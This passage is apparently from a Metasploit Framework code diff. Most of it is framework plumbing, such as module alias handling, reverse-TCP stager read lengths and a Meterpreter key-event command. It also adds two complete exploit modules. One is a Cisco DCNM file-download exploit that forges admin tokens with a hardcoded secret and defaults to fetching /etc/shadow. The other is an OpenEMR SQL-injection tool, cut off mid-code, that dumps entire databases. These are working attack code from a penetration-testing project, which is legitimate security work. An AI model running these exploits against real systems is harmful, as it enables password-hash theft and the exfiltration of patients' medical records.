# Returns the module's framework reference name. This is the
|
||||
# short name that end-users work with. Ex:
|
||||
|
||||
@@ -13,4 +13,10 @@ module Msf::Module::UI
|
||||
include Msf::Module::UI::Line
|
||||
# Overwrite the {Rex::Ui::Subscriber} print_(status|error|good) to do time stamps
|
||||
include Msf::Module::UI::Message
|
||||
end
|
||||
|
||||
# Add alerts to {Rex::Ui::Subscriber#init_ui}
|
||||
def init_ui(*args)
|
||||
super
|
||||
alert_user
|
||||
end
|
||||
end
|
||||
|
||||
@@ -103,7 +103,9 @@ module Msf
|
||||
end
|
||||
|
||||
if module_instance
|
||||
module_instance.aliased_as = aliased_as
|
||||
# If the module instance is populated by one of the recursive `create`
|
||||
# calls this field may be set and we'll want to keep its original value
|
||||
module_instance.aliased_as ||= aliased_as
|
||||
end
|
||||
|
||||
module_instance
|
||||
|
||||
@@ -89,18 +89,18 @@ module Msf::ModuleManager::Loading
|
||||
|
||||
# Clear and add aliases, if any (payloads cannot)
|
||||
|
||||
if class_or_module.respond_to?(:fullname) && aliased_as = self.inv_aliases[class_or_module.fullname]
|
||||
if class_or_module.respond_to?(:realname) && aliased_as = self.inv_aliases[class_or_module.realname]
|
||||
aliased_as.each do |a|
|
||||
self.aliases.delete a
|
||||
end
|
||||
self.inv_aliases.delete class_or_module.fullname
|
||||
self.inv_aliases.delete class_or_module.realname
|
||||
end
|
||||
|
||||
if class_or_module.respond_to? :aliases
|
||||
class_or_module.aliases.each do |a|
|
||||
self.aliases[a] = class_or_module.fullname
|
||||
self.aliases[a] = class_or_module.realname
|
||||
end
|
||||
self.inv_aliases[class_or_module.fullname] = class_or_module.aliases unless class_or_module.aliases.empty?
|
||||
self.inv_aliases[class_or_module.realname] = class_or_module.aliases unless class_or_module.aliases.empty?
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -275,14 +275,20 @@ class Msf::Modules::Loader::Base
|
||||
namespace_module = original_metasploit_class.parent
|
||||
parent_path = namespace_module.parent_path
|
||||
|
||||
type = original_metasploit_class_or_instance.type
|
||||
module_reference_name = original_metasploit_class_or_instance.refname
|
||||
type = original_metasploit_class.type
|
||||
module_reference_name = original_metasploit_class.refname
|
||||
module_fullname = original_metasploit_class.fullname
|
||||
module_used_name = original_metasploit_instance.fullname if original_metasploit_instance
|
||||
|
||||
dlog("Reloading module #{module_reference_name}...", 'core')
|
||||
dlog("Reloading module #{module_fullname}...", 'core')
|
||||
|
||||
if load_module(parent_path, type, module_reference_name, :force => true, :reload => true)
|
||||
# Create a new instance of the module
|
||||
reloaded_module_instance = module_manager.create(module_reference_name)
|
||||
# Create a new instance of the module, using the alias if one was used
|
||||
reloaded_module_instance = module_manager.create(module_used_name || module_fullname)
|
||||
if !reloaded_module_instance && module_fullname != module_used_name
|
||||
reloaded_module_instance = module_manager.create(module_fullname)
|
||||
reloaded_module_instance&.add_warning "Alias #{module_used_name} no longer available after reloading, using #{module_fullname}"
|
||||
end
|
||||
|
||||
if reloaded_module_instance
|
||||
if original_metasploit_instance
|
||||
@@ -296,7 +302,7 @@ class Msf::Modules::Loader::Base
|
||||
return original_metasploit_class_or_instance
|
||||
end
|
||||
else
|
||||
elog("Failed to reload #{module_reference_name}")
|
||||
elog("Failed to reload #{module_fullname}")
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
@@ -146,7 +146,7 @@ class Cache
|
||||
key = ''
|
||||
key << (module_instance.type.nil? ? '' : module_instance.type)
|
||||
key << '_'
|
||||
key << module_instance.refname
|
||||
key << module_instance.class.refname
|
||||
return key
|
||||
end
|
||||
|
||||
|
||||
@@ -61,7 +61,7 @@ class Obj
|
||||
end
|
||||
|
||||
@name = module_instance.name
|
||||
@fullname = module_instance.fullname
|
||||
@fullname = module_instance.realname
|
||||
@aliases = module_instance.aliases
|
||||
@disclosure_date = module_instance.disclosure_date
|
||||
@rank = module_instance.rank.to_i
|
||||
@@ -80,7 +80,7 @@ class Obj
|
||||
@rport = module_instance.datastore['RPORT']
|
||||
@path = module_instance.file_path
|
||||
@mod_time = ::File.mtime(@path) rescue Time.now
|
||||
@ref_name = module_instance.refname
|
||||
@ref_name = module_instance.class.refname
|
||||
if module_instance.respond_to?(:autofilter_ports)
|
||||
@autofilter_ports = module_instance.autofilter_ports
|
||||
end
|
||||
|
||||
@@ -89,6 +89,33 @@ module Payload::Linux::ReverseTcp_x86
|
||||
sleep_seconds = seconds.to_i
|
||||
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
|
||||
|
||||
mprotect_flags = 0b111 # PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
if respond_to?(:generate_intermediate_stage)
|
||||
pay_mod = framework.payloads.create(self.refname)
|
||||
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
|
||||
elsif !module_info['Stage']['Payload'].empty?
|
||||
read_length = module_info['Stage']['Payload'].size
|
||||
else
|
||||
# If we don't know, at least use small instructions
|
||||
read_length = 0x0c00 + mprotect_flags
|
||||
end
|
||||
|
||||
# I was bored on the train, ok?
|
||||
read_reg =
|
||||
if read_length % 0x100 == mprotect_flags && read_length <= 0xff00 + mprotect_flags
|
||||
# We use `edx` as part mprotect, but at two bytes assembled, this edge case is worth checking:
|
||||
# If the lower byte will be the same, just set the upper byte
|
||||
read_length = read_length / 0x100
|
||||
'dh'
|
||||
elsif read_length < 0x100
|
||||
'dl' # Also assembles in two bytes ^.^
|
||||
elsif read_length < 0x10000
|
||||
'dx' # Shave a byte off of setting `edx`
|
||||
else
|
||||
'edx' # Take five bytes :/
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
push #{retry_count} ; retry counter
|
||||
pop esi
|
||||
@@ -141,7 +168,7 @@ module Payload::Linux::ReverseTcp_x86
|
||||
|
||||
asm << %Q^
|
||||
mprotect:
|
||||
mov dl, 0x7
|
||||
mov dl, 0x#{mprotect_flags.to_s(16)}
|
||||
mov ecx, 0x1000
|
||||
mov ebx, esp
|
||||
shr ebx, 0xc
|
||||
@@ -155,7 +182,7 @@ module Payload::Linux::ReverseTcp_x86
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov #{read_reg}, 0x#{read_length.to_s(16)}
|
||||
mov al, 0x3
|
||||
int 0x80 ; sys_read (recv())
|
||||
test eax, eax
|
||||
|
||||
@@ -89,6 +89,15 @@ module Payload::Linux::ReverseTcp_x64
|
||||
sleep_seconds = seconds.to_i
|
||||
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
|
||||
|
||||
if respond_to?(:generate_intermediate_stage)
|
||||
pay_mod = framework.payloads.create(self.refname)
|
||||
read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size
|
||||
elsif !module_info['Stage']['Payload'].empty?
|
||||
read_length = module_info['Stage']['Payload'].size
|
||||
else
|
||||
read_length = 4096
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
mmap:
|
||||
xor rdi, rdi
|
||||
@@ -107,7 +116,6 @@ module Payload::Linux::ReverseTcp_x64
|
||||
|
||||
push #{retry_count} ; retry counter
|
||||
pop r9
|
||||
push rsi
|
||||
push rax
|
||||
push 0x29
|
||||
pop rax
|
||||
@@ -161,8 +169,9 @@ module Payload::Linux::ReverseTcp_x64
|
||||
|
||||
recv:
|
||||
pop rsi
|
||||
push 0x#{read_length.to_s(16)}
|
||||
pop rdx
|
||||
syscall ; read(3, "", 4096)
|
||||
syscall ; read(3, "", #{read_length})
|
||||
test rax, rax
|
||||
js failed
|
||||
|
||||
|
||||
@@ -91,6 +91,8 @@ class PayloadSet < ModuleSet
|
||||
sizes[name] = p.cached_size || p.new.size
|
||||
# Don't cache generic payload sizes.
|
||||
rescue NoCompatiblePayloadError
|
||||
rescue StandardError => e
|
||||
elog("Unable to build payload #{name} due to #{e}.")
|
||||
end
|
||||
}
|
||||
|
||||
|
||||
@@ -30,6 +30,8 @@ module Msf::PostMixin
|
||||
#
|
||||
# @raise [OptionValidateError] if {#session} returns nil
|
||||
def setup
|
||||
alert_user
|
||||
|
||||
unless session
|
||||
# Always fail if the session doesn't exist.
|
||||
raise Msf::OptionValidateError.new(['SESSION'])
|
||||
|
||||
@@ -82,7 +82,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||
request = Packet.create_request( 'stdapi_fs_search' )
|
||||
|
||||
root = client.unicode_filter_decode(root) if root
|
||||
root = root.chomp( '\\' ) if root
|
||||
root = root.chomp( self.separator ) if root
|
||||
|
||||
request.add_tlv( TLV_TYPE_SEARCH_ROOT, root )
|
||||
request.add_tlv( TLV_TYPE_SEARCH_GLOB, glob )
|
||||
@@ -94,7 +94,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
||||
if( response.result == 0 )
|
||||
response.each( TLV_TYPE_SEARCH_RESULTS ) do | results |
|
||||
files << {
|
||||
'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( '\\' )),
|
||||
'path' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_PATH).chomp( self.separator )),
|
||||
'name' => client.unicode_filter_encode(results.get_tlv_value(TLV_TYPE_FILE_NAME)),
|
||||
'size' => results.get_tlv_value(TLV_TYPE_FILE_SIZE)
|
||||
}
|
||||
|
||||
@@ -211,6 +211,7 @@ TLV_TYPE_KEYS_SEND = TLV_META_TYPE_STRING | 3014
|
||||
TLV_TYPE_MOUSE_ACTION = TLV_META_TYPE_UINT | 3015
|
||||
TLV_TYPE_MOUSE_X = TLV_META_TYPE_UINT | 3016
|
||||
TLV_TYPE_MOUSE_Y = TLV_META_TYPE_UINT | 3017
|
||||
TLV_TYPE_KEYEVENT_SEND = TLV_META_TYPE_RAW | 3018
|
||||
|
||||
##
|
||||
#
|
||||
|
||||
@@ -244,6 +244,17 @@ class UI < Rex::Post::UI
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Send key events
|
||||
#
|
||||
def keyevent_send(key_code, action = 0)
|
||||
key_data = [ action, key_code ].pack("VV")
|
||||
request = Packet.create_request('stdapi_ui_send_keyevent')
|
||||
request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data )
|
||||
response = client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Mouse input
|
||||
#
|
||||
@@ -265,6 +276,8 @@ class UI < Rex::Post::UI
|
||||
action = 5
|
||||
when "rightup"
|
||||
action = 6
|
||||
when "doubleclick"
|
||||
action = 7
|
||||
else
|
||||
action = mouseaction.to_i
|
||||
end
|
||||
|
||||
@@ -182,9 +182,9 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...")
|
||||
files.each do | file |
|
||||
if file['size'] > 0
|
||||
print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n")
|
||||
print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']} (#{file['size']} bytes)\n")
|
||||
else
|
||||
print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n")
|
||||
print(" #{file['path']}#{ file['path'].empty? ? '' : client.fs.file.separator }#{file['name']}\n")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -30,6 +30,7 @@ class Console::CommandDispatcher::Stdapi::Ui
|
||||
"keyscan_start" => "Start capturing keystrokes",
|
||||
"keyscan_stop" => "Stop capturing keystrokes",
|
||||
"keyboard_send" => "Send keystrokes",
|
||||
"keyevent" => "Send key events",
|
||||
"mouse" => "Send mouse events",
|
||||
"screenshot" => "Grab a screenshot of the interactive desktop",
|
||||
"screenshare" => "Watch the remote user's desktop in real time",
|
||||
@@ -46,6 +47,7 @@ class Console::CommandDispatcher::Stdapi::Ui
|
||||
"keyscan_dump" => [ "stdapi_ui_get_keys_utf8" ],
|
||||
"keyscan_start" => [ "stdapi_ui_start_keyscan" ],
|
||||
"keyscan_stop" => [ "stdapi_ui_stop_keyscan" ],
|
||||
"keyevent" => [ "stdapi_ui_send_keyevent" ],
|
||||
"keyboard_send" => [ "stdapi_ui_send_keys" ],
|
||||
"mouse" => [ "stdapi_ui_send_mouse" ],
|
||||
"screenshot" => [ "stdapi_ui_desktop_screenshot" ],
|
||||
@@ -442,6 +444,31 @@ class Console::CommandDispatcher::Stdapi::Ui
|
||||
print_status('Done')
|
||||
end
|
||||
|
||||
#
|
||||
# Send key events
|
||||
#
|
||||
def cmd_keyevent(*args)
|
||||
action = 0
|
||||
if args.length == 1
|
||||
keycode = args[0].to_i
|
||||
elsif args.length == 2
|
||||
keycode = args[0].to_i
|
||||
if args[1] == 'down'
|
||||
action = 1
|
||||
elsif args[1] == 'up'
|
||||
action = 2
|
||||
end
|
||||
else
|
||||
print_line("Usage: keyevent keycode [action] (press, up, down)")
|
||||
print_line(" e.g: keyevent 13 press (send the enter key)")
|
||||
print_line(" kevevent 17 down (control key down)\n")
|
||||
return
|
||||
end
|
||||
|
||||
client.ui.keyevent_send(keycode, action)
|
||||
print_status('Done')
|
||||
end
|
||||
|
||||
#
|
||||
# Send mouse events
|
||||
#
|
||||
@@ -453,7 +480,7 @@ class Console::CommandDispatcher::Stdapi::Ui
|
||||
elsif args.length == 3
|
||||
client.ui.mouse(args[0], args[1], args[2])
|
||||
else
|
||||
print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown)")
|
||||
print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown, doubleclick)")
|
||||
print_line(" mouse [x] [y] (click)")
|
||||
print_line(" mouse [action] [x] [y]")
|
||||
print_line(" e.g: mouse click")
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.70'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.77'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.16'
|
||||
# Needed by msfgui and other rpc components
|
||||
@@ -161,7 +161,7 @@ Gem::Specification.new do |spec|
|
||||
# Library for parsing and manipulating executable binaries
|
||||
spec.add_runtime_dependency 'rex-bin_tools'
|
||||
# Rex Socket Abstraction Layer
|
||||
spec.add_runtime_dependency 'rex-socket', '0.1.17'
|
||||
spec.add_runtime_dependency 'rex-socket'
|
||||
# Library for scanning a server's SSL/TLS capabilities
|
||||
spec.add_runtime_dependency 'rex-sslscan'
|
||||
# Library and tool for finding ROP gadgets in a supplied binary
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',
|
||||
'Description' => %q{
|
||||
DCNM exposes a servlet to download files on /fm/downloadServlet.
|
||||
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
|
||||
the full path of the file.
|
||||
This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should
|
||||
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
|
||||
(see References to understand why).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-1619' ],
|
||||
[ 'CVE', '2019-1621' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb' ],
|
||||
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jun 26 2019'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Connect with TLS', true]),
|
||||
OptString.new('TARGETURI', [true, "Default server path", '/']),
|
||||
OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1)", 'admin']),
|
||||
OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1)", 'admin']),
|
||||
OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),
|
||||
])
|
||||
end
|
||||
|
||||
def auth_v11
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm/'),
|
||||
'method' => 'GET',
|
||||
'vars_get' =>
|
||||
{
|
||||
'userName' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
},
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
# get the JSESSIONID cookie
|
||||
if res.get_cookies
|
||||
res.get_cookies.split(';').each do |cok|
|
||||
if cok.include?("JSESSIONID")
|
||||
return cok
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def auth_v10
|
||||
# step 1: get a JSESSIONID cookie and the server Date header
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'fm/'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
# step 2: convert the Date header and create the auth hash
|
||||
if res && res.headers['Date']
|
||||
jsession = res.get_cookies.split(';')[0]
|
||||
date = Time.httpdate(res.headers['Date'])
|
||||
server_date = date.strftime("%s").to_i * 1000
|
||||
print_good("#{peer} - Got sysTime value #{server_date.to_s}")
|
||||
|
||||
# auth hash format:
|
||||
# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF
|
||||
session_id = rand(1000..50000).to_s
|
||||
md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +
|
||||
"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"
|
||||
md5_str = Base64.strict_encode64(md5)
|
||||
|
||||
# step 3: authenticate our cookie as admin
|
||||
# token format: sessionId.sysTime.md5_str.username
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),
|
||||
'cookie' => jsession,
|
||||
'vars_get' =>
|
||||
{
|
||||
'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"
|
||||
},
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res && res.code == 500
|
||||
return jsession
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
noauth = false
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.include?('version":"11.1(1)')
|
||||
print_good("#{peer} - Detected DCNM 11.1(1)")
|
||||
print_status("#{peer} - No authentication required, ready to exploit!")
|
||||
noauth = true
|
||||
elsif res.body.include?('version":"11.0(1)')
|
||||
print_good("#{peer} - Detected DCNM 11.0(1)")
|
||||
print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")
|
||||
jsession = auth_v11
|
||||
elsif res.body.include?('version":"10.4(2)')
|
||||
print_good("#{peer} - Detected DCNM 10.4(2)")
|
||||
print_status("#{peer} - No authentication required, ready to exploit!")
|
||||
jsession = auth_v10
|
||||
else
|
||||
print_error("#{peer} - Failed to detect module version.")
|
||||
print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")
|
||||
print_error(res.body)
|
||||
print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")
|
||||
jsession = auth_v10
|
||||
end
|
||||
end
|
||||
|
||||
if jsession || noauth
|
||||
print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),
|
||||
'method' => 'GET',
|
||||
'cookie' => jsession,
|
||||
'vars_get' => {
|
||||
'showFile' => datastore['FILEPATH'],
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
filedata = res.body
|
||||
vprint_line(filedata.to_s)
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
|
||||
path = store_loot(
|
||||
'cisco-DCNM.http',
|
||||
'application/octet-stream',
|
||||
datastore['RHOST'],
|
||||
filedata,
|
||||
fname
|
||||
)
|
||||
print_good("File saved in: #{path}")
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -19,6 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2008-3273'],
|
||||
['CVE', '2010-1429'], # regression
|
||||
['URL', 'https://seclists.org/fulldisclosure/2011/Sep/139'],
|
||||
['URL', 'https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf'],
|
||||
['URL', 'http://www.slideshare.net/chrisgates/lares-fromlowtopwned']
|
||||
|
||||
@@ -23,8 +23,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0738' ], # VERB auth bypass
|
||||
[ 'CVE', '2017-12149' ]
|
||||
[ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"
|
||||
[ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)
|
||||
[ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/
|
||||
[ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/
|
||||
[ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"
|
||||
],
|
||||
'License' => BSD_LICENSE
|
||||
))
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
require 'csv'
|
||||
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',
|
||||
'Description' => '
|
||||
This module exploits a SQLi vulnerability found in
|
||||
OpenEMR version 5.0.1 Patch 6 and lower. The
|
||||
vulnerability allows the contents of the entire
|
||||
database (with exception of log and task tables) to be
|
||||
extracted.
|
||||
This module saves each table as a `.csv` file in your
|
||||
loot directory and has been tested with
|
||||
OpenEMR 5.0.1 (3).
|
||||
',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Will Porter <will.porter[at]lodestonesecurity.com>'
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-17179'],
|
||||
['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
['OpenEMR < 5.0.1 (6)', {}]
|
||||
],
|
||||
'DisclosureDate' => 'May 17 2019',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def uri
|
||||
target_uri.path
|
||||
end
|
||||
|
||||
def openemr_version
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'admin.php')
|
||||
)
|
||||
vprint_status("admin.php response code: #{res.code}")
|
||||
document = Nokogiri::HTML(res.body)
|
||||
document.css('tr')[1].css('td')[3].text
|
||||
rescue StandardError
|
||||
''
|
||||
end
|
||||
|
||||
def check
|
||||
# Check version
|
||||
print_status('Trying to detect installed version')
|
||||
version = openemr_version
|
||||
return Exploit::CheckCode::Unknown if version.empty?
|
||||
|
||||
vprint_status("Version #{version} detected")
|
||||
version.sub! ' (', '.'
|
||||
version.sub! ')', ''
|
||||
version.strip!
|
||||
|
||||
return Exploit::CheckCode::Safe unless Gem::Version.new(version) < Gem::Version.new('5.0.1.7')
|
||||
|
||||
Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
def get_response(payload)
|
||||
response = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),
|
||||
'vars_get' => {
|
||||
'action' => 'make_task',
|
||||
'from_id' => '1',
|
||||
'to_id' => '1',
|
||||
'pid' => '1',
|
||||
'doc_type' => '1',
|
||||
'doc_id' => '1',
|
||||
'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"
|
||||
}
|
||||
)
|
||||
response
|
||||
end
|
||||
|
||||
def parse_xpath_error(response_body)
|
||||
matches = response_body.match %r{XPATH syntax error: '~(.*)'</font.*$}
|
||||
return matches[1] if matches
|
||||
rescue IndexError
|
||||
nil
|
||||
end
|
||||
|
||||
def exec_payload_and_parse(payload)
|
||||
response = get_response(payload)
|
||||
body = response.nil? ? '' : response.body
|
||||
parse_xpath_error(body)
|
||||
end
|
||||
|
||||
def complete_where_clause(where_clause, not_in_clause)
|
||||
where_clause ||= ''
|
||||
if !where_clause.empty? && !not_in_clause.empty?
|
||||
where_clause = 'WHERE ' + where_clause + ' AND ' + not_in_clause
|
||||
elsif where_clause.empty? && !not_in_clause.empty?
|
||||
where_clause = 'WHERE ' + not_in_clause
|
||||
elsif !where_clause.empty? && not_in_clause.empty?
|
||||
where_clause = 'WHERE ' + where_clause
|
||||
end
|
||||
where_clause
|
||||
end
|
||||
|
||||
def fetch_complete(column_name, table_name, where_condition, not_in_clause)
|
||||
offset = 0
|
||||
reconstructed_value = ''
|
||||
loop do
|
||||
where_clause = complete_where_clause(where_condition, not_in_clause)
|
||||
payload = "SELECT SUBSTRING(#{column_name}, #{(offset * 31) + 1}) FROM #{table_name} #{where_clause} LIMIT 1"
|
||||
value = exec_payload_and_parse(payload)
|
||||
reconstructed_value += value unless value.nil?
|
||||
break if value.nil? || value.empty? || value.length < 31
|
||||
|
||||
offset += 1
|
||||
end
|
||||
reconstructed_value
|
||||
end
|
||||
|
||||
def enumerate_iteratively(column_name, table_name, where_condition)
|
||||
values = []
|
||||
|
||||
loop do
|
||||
values_sql_string = "'" + values.join("','") + "'"
|
||||
not_in_clause = values.empty? ? '' : "#{column_name} NOT IN (#{values_sql_string})"
|
||||
value = fetch_complete(column_name, table_name, where_condition, not_in_clause)
|
||||
break if value.nil? || value.empty?
|
||||
|
||||
values.push(value)
|
||||
end
|
||||
values
|
||||
end
|
||||
|
||||
def enumerate_tables
|
||||
enumerate_iteratively('table_name',
|
||||
'information_schema.TABLES',
|
||||
'')
|
||||
end
|
||||
|
||||
def enumerate_columns(table)
|
||||
enumerate_iteratively('column_name',
|
||||
'information_schema.COLUMNS',
|
||||
"table_name = '#{table}'")
|
||||
end
|
||||
|
||||
def find_primary_key(table)
|
||||
fetch_complete('column_name',
|
||||
'information_schema.KEY_COLUMN_USAGE',
|
||||
"table_name = '#{table}' AND CONSTRAINT_NAME ='PRIMARY'",
|
||||
'')
|
||||
end
|
||||
|
||||
def walk_table(table)
|
||||
primary_key = find_primary_key(table)
|
||||
return if primary_key.nil?
|
||||
|
||||
columns = enumerate_columns(table)
|
||||
key_values = enumerate_iteratively(primary_key,
|
||||
table,
|
||||
'')
|
||||
|
||||
data = [columns]
|
||||
key_values.each do |key_value|
|
||||
row = []
|
||||
columns.each do |column|
|
||||
where_condition = "#{primary_key} = #{key_value}"
|
||||
value = fetch_complete(column, table, where_condition, '')
|
||||
row.append(value)
|
||||
end
|
||||
data.append(row)
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def csv_string(data)
|
||||
s = ''
|
||||
for row in data
|
||||
s += row.to_csv
|
||||
end
|
||||
s
|
||||
end
|
||||
|
||||
def save_csv(data, table)
|
||||
# Use the same gsub pattern as store_loot
|
||||
# this will put the first 8 safe characters of the tablename
|
||||
# in the filename in the loot directory
|
||||
safe_table = table.gsub(/[^a-z0-9\.\_]+/i, '')
|
||||
store_loot(
|
||||
"openemr.#{safe_table}.dump",
|
||||
'application/CSV',
|
||||
rhost,
|
||||
csv_string(data),
|
||||
"#{safe_table}.csv"
|
||||
)
|
||||
end
|
||||
|
||||
def dump_all
|
||||
payload = 'version()'
|
||||
db_version = exec_payload_and_parse(payload)
|
||||
print_status("DB Version: #{db_version}")
|
||||
print_status('Enumerating tables, this may take a moment...')
|
||||
tables = enumerate_tables
|
||||
num_tables = tables.length
|
||||
print_status("Identified #{num_tables} tables.")
|
||||
|
||||
# These tables are impossible to fetch because they increase each request
|
||||
skiptables = %w[form_taskman log log_comment_encrypt]
|
||||
tables.each_with_index do |table, i|
|
||||
if skiptables.include?(table)
|
||||
